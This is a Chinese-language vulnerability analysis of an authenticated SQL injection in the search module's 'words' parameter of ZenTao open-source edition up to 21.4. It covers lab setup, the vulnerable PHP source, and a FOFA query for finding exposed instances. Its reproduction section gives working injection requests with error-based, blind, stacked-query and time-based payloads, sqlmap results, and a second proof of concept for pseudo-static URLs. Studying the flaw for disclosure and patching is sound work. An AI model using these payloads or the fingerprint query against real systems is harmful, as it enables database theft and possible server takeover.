漏洞简介
禅道开源版是一款研发项目管理软件。产道开源版 search 模块的 words 参数存在sql注入漏洞,具有登录权限的攻击者可利用此漏洞获取系统数据库数据,甚至在高权限数据库账户下获取服务器权限。
fofa语法
app="易软天创-禅道系统"
影响版本
<=21.4(禅道开源版最新版)
漏洞分析
环境搭建
docker pull easysoft/zentao:21.4
mkdir zentao21.4 && cd zentao21.4
docker run -d -v ./data:/data -p 8082:80 -e MYSQL_INTERNAL=true -e REDIS_INTERNAL=true easysoft/zentao:21.4
然后访问 http://localhost:8082/ 即可打开安装界面,在最后一步可勾选导入 demo 数据。

登录进后台首页后,在右下角的搜索输入框里随便输入,然后访问搜索结果

正常显示如下

给 words 增加一个 单引号后有SQL报错
http://localhost:8082/index.php?m=search&f=index&words=123%27&type=all

根据报错点直接看 module/search/control.php 文件搜索 words 找到 index 方法
#3 module/search/control.php(359): searchModel->getList('123'', 'all', Object(pager))
/**
* 全局搜索结果页面。
* Global search results home page.
*
* @param int $recTotal
* @param int $pageID
* @access public
* @return void
*/
public function index($recTotal = 0, $pageID = 1)
{
$this->lang->admin->menu->search = "{$this->lang->search->common}|search|index";
/* 获取搜索的关键词。*/
/* Get the words. */
if(empty($words)) $words = $this->get->words;
if(empty($words)) $words = $this->post->words;
if(empty($words) && ($recTotal != 0 || $pageID != 1)) $words = $this->session->searchIngWord;
$words = strip_tags(strtolower($words));
/* 获取搜索类型。*/
/* Get the type. */
if(empty($type)) $type = $this->get->type;
if(empty($type)) $type = $this->post->type;
if(empty($type) && ($recTotal != 0 || $pageID != 1)) $type = $this->session->searchIngType;
if(is_array($type)) $type = array_filter(array_unique($type));
$type = (empty($type) || (is_array($type) && in_array('all', $type))) ? 'all' : $type;
/* 开始搜索时记录当时的时间。*/
$begin = time();
$this->app->loadClass('pager', $static = true);
$pager = new pager(0, $this->config->search->recPerPage, $pageID);
$results = $this->search->getList($words, $type, $pager);
$uri = inlink('index', "recTotal=$pager->recTotal&pageID=$pager->pageID");
$uri .= strpos($uri, '?') === false ? '?' : '&';
$uri .= 'words=' . $words;
$this->searchZen->setSessionForIndex($uri, $words, $type);
$this->view->title = $this->lang->search->index;
$this->view->results = $results;
$this->view->consumed = time() - $begin;
$this->view->type = $type;
$this->view->typeList = $this->searchZen->getTypeList();
$this->view->pager = $pager;
$this->view->words = $words;
$this->view->referer = $this->session->referer;
$this->display();
}
}
words 支持 get post两种方式获取处理后,传递给 getList 方法,在 module/search/model.php 中实现
/**
* 获取搜索结果。
* get search results of keywords.
*
* @param string $keywords
* @param string $type
* @param object $pager
* @access public
* @return array
*/
public function getList($keywords, $type, $pager = null)
{
list($words, $againstCond, $likeCondition) = $this->searchTao->getSqlParams($keywords);
$allowedObjects = $this->searchTao->getAllowedObjects($type);
$filterObjects = array();
foreach($allowedObjects as $index => $object)
{
if(strpos(',feedback,ticket,', ",$object,") === false) continue;
unset($allowedObjects[$index]);
$filterObjects[] = $object;
}
$scoreColumn = "(MATCH(title, content) AGAINST('{$againstCond}' IN BOOLEAN MODE))";
$stmt = $this->dao->select("*, {$scoreColumn} as score")->from(TABLE_SEARCHINDEX)
->where("(MATCH(title,content) AGAINST('{$againstCond}' IN BOOLEAN MODE) >= 1 {$likeCondition})")
->andWhere('((vision')->eq($this->config->vision)
->andWhere('objectType')->in($allowedObjects)
->markRight(1)
->orWhere('(objectType')->in($filterObjects)
->markRight(2)
->andWhere('addedDate')->le(helper::now())
->orderBy('score_desc, editedDate_desc')
->query();
$results = array();
$idListGroup = array();
while($record = $stmt->fetch())
{
$results[$record->id] = $record;
$module = $record->objectType == 'case' ? 'testcase' : $record->objectType;
$idListGroup[$module][$record->objectID] = $record->objectID;
}
$results = $this->searchTao->checkPriv($results, $idListGroup);
if(empty($results)) return $results;
/* Reset pager total and get this page data. */
if($pager) $results = $this->searchTao->setResultsInPage($results, $pager);
$objectList = $this->searchTao->getobjectList($idListGroup);
return $this->processResults($results, $objectList, $words);
}
然后调用 module/search/tao.php 中的 getSqlParams 函数来处理 words 后,将$againstCond 和 $likeCondition 直接拼接进SQL语句的 where 条件中执行最终的 SQL 语句查询
/**
* 获取 sql 语句的参数。
* Get list sql params.
*
* @param string $keywords
* @access protected
* @return array
*/
protected function getSqlParams($keywords)
{
$spliter = $this->app->loadClass('spliter');
$words = explode(' ', $this->unify($keywords, ' '));
$against = '';
$againstCond = '';
foreach($words as $word)
{
/* 将 utf-8 字符串拆分为单词,为每个单词计算 unicode. */
$splitedWords = $spliter->utf8Split($word);
$trimmedWord = trim($splitedWords['words']);
$against .= '"' . $trimmedWord . '" ';
$againstCond .= '(+"' . $trimmedWord . '") ';
if(is_numeric($word) && strpos($word, '.') === false && strlen($word) == 5) $againstCond .= "(-\" $word \") ";
}
$likeCondition = trim($keywords) ? "OR title like '%{$keywords}%' OR content like '%{$keywords}%'" : '';
$words = str_replace('"', '', $against);
$words = str_pad($words, 5, '_');
return array($words, $againstCond, $likeCondition);
}
虽然经过一系列处理,但是没有卵用,无任何过滤,最终造成SQL注入漏洞。
漏洞复现
GET POST 请求均可
GET /index.php?m=search&f=index&words=123')+AND+(SELECT+1474+FROM(SELECT+COUNT(*),CONCAT(0x71716a7871,(SELECT+(ELT(1474=1474,1))),0x716b716a71,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.PLUGINS+GROUP+BY+x)a)--+ErSi&type=all&zin=1 HTTP/1.1
Cookie: zentaosid=16bcf74b70e51ffee15e918682213004; lang=zh-cn; vision=rnd; device=desktop; theme=default; hideMenu=false; tab=search
Sec-Fetch-Site: same-origin
X-Zin-App: search
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.4103.116 Safari/537.36
Accept: */*
Connection: keep-alive
Referer: http://localhost:8082/index.php?m=index&f=index&open=L2luZGV4LnBocD9tPXNlYXJjaCZmPWluZGV4JndvcmRzPTEyMyUyNyZ0eXBlPWFsbA==
X-Zin-Uid: YLKXtrAEJTnQzHrA1M2ZQ
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9,zh-HK;q=0.8,zh-TW;q=0.7,zh-CN;q=0.6,zh;q=0.5
X-Zin-Debug: true
Host: localhost:8082
Pragma: no-cache
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Dnt: 1
X-Zin-Options: {"selector":["#configJS","title>*","body>*"],"type":"list"}
X-Zin-Cache-Time: 0

sqlmap 跑出的结果如下
python3 sqlmap.py -r 1.txt --dbms mysql --batch -p words
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: http://localhost:8082/index.php?m=search&f=index&words=123') RLIKE (SELECT (CASE WHEN (3407=3407) THEN 123 ELSE 0x28 END))-- SEvY&type=all&zin=1
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: http://localhost:8082/index.php?m=search&f=index&words=123') AND (SELECT 1474 FROM(SELECT COUNT(*),CONCAT(0x71716a7871,(SELECT (ELT(1474=1474,1))),0x716b716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ErSi&type=all&zin=1
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: http://localhost:8082/index.php?m=search&f=index&words=123');SELECT SLEEP(6)#&type=all&zin=1
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: http://localhost:8082/index.php?m=search&f=index&words=123') AND (SELECT 7951 FROM (SELECT(SLEEP(6)))aMEx)-- sREW&type=all&zin=1
---
其他
如果系统开启了伪静态可能的 poc 如下
POST /zentao/search-index.html HTTP/1.1
Accept: */*
Referer: http://localhost:8082/zentao/index.html?open=L3plbnRhby9zZWFyY2gtaW5kZXguaHRtbD93b3Jkcz0xMjMlMjcmdHlwZT1hbGw=
X-Zin-App: search
Cookie: zentaosid=16bcf74b70e51ffee15e918682213004; lang=zh-cn; vision=rnd; device=desktop; theme=default; hideMenu=false; tab=search
X-Zin-Debug: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36
X-Zin-Options: {"selector":["#configJS","title>*","body>*"],"type":"list"}
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
type=all&words=123');SELECT+SLEEP(5)%23&zin=1
参考
https://www.zentao.net/book/zentaopms/docker-1111.htmlhttps://hub.docker.com/r/easysoft/zentao/tags?name=21.4

